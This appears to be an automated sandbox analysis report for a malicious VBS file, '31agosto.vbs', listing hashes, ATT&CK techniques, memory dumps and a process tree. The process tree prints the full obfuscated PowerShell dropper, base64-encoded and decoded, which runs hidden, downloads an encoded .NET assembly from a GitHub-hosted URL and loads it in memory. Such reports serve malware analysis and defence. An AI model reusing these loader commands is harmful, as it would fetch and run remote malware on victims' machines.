998c65637736fe8c32b932809868eb2ef60411273bb18d8f389b5f3e1c72ebc2

General

Target

31agosto.vbs
Size

480KB
MD5

b9dbaa8493f8539ec491076723a57f6d
SHA1

c8b7f6625d77483f118ab91aa98a2e612feb714c
SHA256

998c65637736fe8c32b932809868eb2ef60411273bb18d8f389b5f3e1c72ebc2
SHA512

2d4a409d9fe88ac9aad7766db757a19b23ac6cd42650682de6db6d27ed3aa50ca84c7bb8af069458369d662f370c0361cbd4adb54fbebc694b8f7242443787d2
SSDEEP

12288:kn7449lZb/RYfKsB5rGJxzJK37mBQHAIgfBkM0IzpyA22Xjidu2Bw41pk7/rXZ0z:e1Bcxo0

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txt

exe.dropper

https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txt

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2412	powershell.exe
6	2412	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1376	powershell.exe
2412	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
4	raw.githubusercontent.com
5	raw.githubusercontent.com
6	raw.githubusercontent.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1376	powershell.exe
2412	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1376	powershell.exe
Token: SeDebugPrivilege	2412	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1800 wrote to memory of 1376	1800	WScript.exe	30
PID 1800 wrote to memory of 1376	1800	WScript.exe	30
PID 1800 wrote to memory of 1376	1800	WScript.exe	30
PID 1376 wrote to memory of 2412	1376	powershell.exe	32
PID 1376 wrote to memory of 2412	1376	powershell.exe	32
PID 1376 wrote to memory of 2412	1376	powershell.exe	32

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\31agosto.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1800
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'SU52T2tlLWV4UFJlc1NJb04gKCgnTk9mdXJsID0nKycgNVYwaHR0cCcrJ3M6Ly9yYScrJ3cuZ2l0JysnaHUnKydidXNlcmNvJysnbnQnKydlbnQuY29tL05vRGUnKyd0ZWN0T24vTm9EZXRlYycrJ3RPJysnbi9yJysnZWZzL2hlYWRzLycrJ21haW4nKycvRGUnKyd0JysnYWhObycrJ3RoLScrJ1YudCcrJ3h0JysnNVYwJysnOycrJyBOT2ZiYXNlNicrJzQnKydDb250ZW50JysnID0gKE5ldy1PYmonKydlY3QgUycrJ3lzdGVtLicrJ05ldC4nKydXZWJDbGllbnQpLkRvd25sJysnb2EnKydkUycrJ3RyJysnaW5nKE5PZnVybCk7ICcrJ05PZmJpbicrJ2FyeUNvbnRlJysnbnQnKycgPSBbJysnU3lzdGVtJysnLkNvJysnbicrJ3ZlcnRdOjpGJysncm9tQmEnKydzZTY0U3RyaW5nKE5PZmJhJysnc2U2NENvbnRlbnQpOyBOT2ZhcycrJ3NlbScrJ2JseSAnKyc9IFtSZScrJ2YnKydsZWN0aScrJ29uLkFzJysnc2VtYicrJ2x5JysnXTo6TCcrJ29hZChOT2ZiaScrJ25hcicrJ3lDb250ZW4nKyd0KTsgW2QnKydubGliLicrJ0lPJysnLkhvbWVdJysnOjpWQUkoSTJIdHh0JysnLnNvY21lci8nKydzZCcrJ2EnKydvbG53b2QnKycvc2FnY3NlZC8nKydmZGhiJysnZmR6JysnLycrJ2dyby50ZWtjJysndWInKyd0aWIvJysnLzpzcCcrJ3R0aEkySCwgJysnSTJIZCcrJ2VzYXRpdmFkb0kyJysnSCcrJywgSTJIZGVzYScrJ3RpdmFkbycrJ0kySCwgSTJIZGUnKydzYXQnKydpdmFkb0knKycySCcrJywnKycgSTInKydIQWRkSW4nKydQcm9jZScrJ3NzMzJJMkgsICcrJ0kySEkySCxJMkhJMkgpJykucmVQbEFjZSgoW0NoQXJdNTMrW0NoQXJdODYrW0NoQXJdNDgpLFtzVHJpbkddW0NoQXJdMzkpLnJlUGxBY2UoJ0kySCcsW3NUcmluR11bQ2hBcl0zNCkucmVQbEFjZSgoW0NoQXJdNzgrW0NoQXJdNzkrW0NoQXJdMTAyKSxbc1RyaW5HXVtDaEFyXTM2KSk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1376
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "INvOke-exPResSIoN (('NOfurl ='+' 5V0http'+'s://ra'+'w.git'+'hu'+'buserco'+'nt'+'ent.com/NoDe'+'tectOn/NoDetec'+'tO'+'n/r'+'efs/heads/'+'main'+'/De'+'t'+'ahNo'+'th-'+'V.t'+'xt'+'5V0'+';'+' NOfbase6'+'4'+'Content'+' = (New-Obj'+'ect S'+'ystem.'+'Net.'+'WebClient).Downl'+'oa'+'dS'+'tr'+'ing(NOfurl); '+'NOfbin'+'aryConte'+'nt'+' = ['+'System'+'.Co'+'n'+'vert]::F'+'romBa'+'se64String(NOfba'+'se64Content); NOfas'+'sem'+'bly '+'= [Re'+'f'+'lecti'+'on.As'+'semb'+'ly'+']::L'+'oad(NOfbi'+'nar'+'yConten'+'t); [d'+'nlib.'+'IO'+'.Home]'+'::VAI(I2Htxt'+'.socmer/'+'sd'+'a'+'olnwod'+'/sagcsed/'+'fdhb'+'fdz'+'/'+'gro.tekc'+'ub'+'tib/'+'/:sp'+'tthI2H, '+'I2Hd'+'esativadoI2'+'H'+', I2Hdesa'+'tivado'+'I2H, I2Hde'+'sat'+'ivadoI'+'2H'+','+' I2'+'HAddIn'+'Proce'+'ss32I2H, '+'I2HI2H,I2HI2H)').rePlAce(([ChAr]53+[ChAr]86+[ChAr]48),[sTrinG][ChAr]39).rePlAce('I2H',[sTrinG][ChAr]34).rePlAce(([ChAr]78+[ChAr]79+[ChAr]102),[sTrinG][ChAr]36))"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2412

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
84f50c550941a288d8140cd0e10d9245

SHA1
3cf7880e54e94fda19bc8e2bf6e1d961ffe5e66c

SHA256
baa77ef05c97b6753c5ffbf931415ce0e52931ff806082630a9c38f924a7ba24

SHA512
d9aca96bc8141e44ef078c7ab1cff14e2c2fcf05264c99a5e134a3490f4b6782e8d80ce98f953df6c98a94bd9b06d95e978339ceb571486b22ba8f592a7551cf

Download Submit
memory/1376-4-0x000007FEF493E000-0x000007FEF493F000-memory.dmp

Filesize
4KB

Download
memory/1376-7-0x000007FEF4680000-0x000007FEF501D000-memory.dmp

Filesize
9.6MB

Download
memory/1376-6-0x0000000002810000-0x0000000002818000-memory.dmp

Filesize
32KB

Download
memory/1376-5-0x000000001B4C0000-0x000000001B7A2000-memory.dmp

Filesize
2.9MB

Download
memory/1376-8-0x000007FEF4680000-0x000007FEF501D000-memory.dmp

Filesize
9.6MB

Download
memory/1376-9-0x000007FEF4680000-0x000007FEF501D000-memory.dmp

Filesize
9.6MB

Download
memory/1376-10-0x000007FEF4680000-0x000007FEF501D000-memory.dmp

Filesize
9.6MB

Download
memory/1376-11-0x000007FEF4680000-0x000007FEF501D000-memory.dmp

Filesize
9.6MB

Download
memory/1376-17-0x000007FEF4680000-0x000007FEF501D000-memory.dmp

Filesize
9.6MB

Download

Analysis

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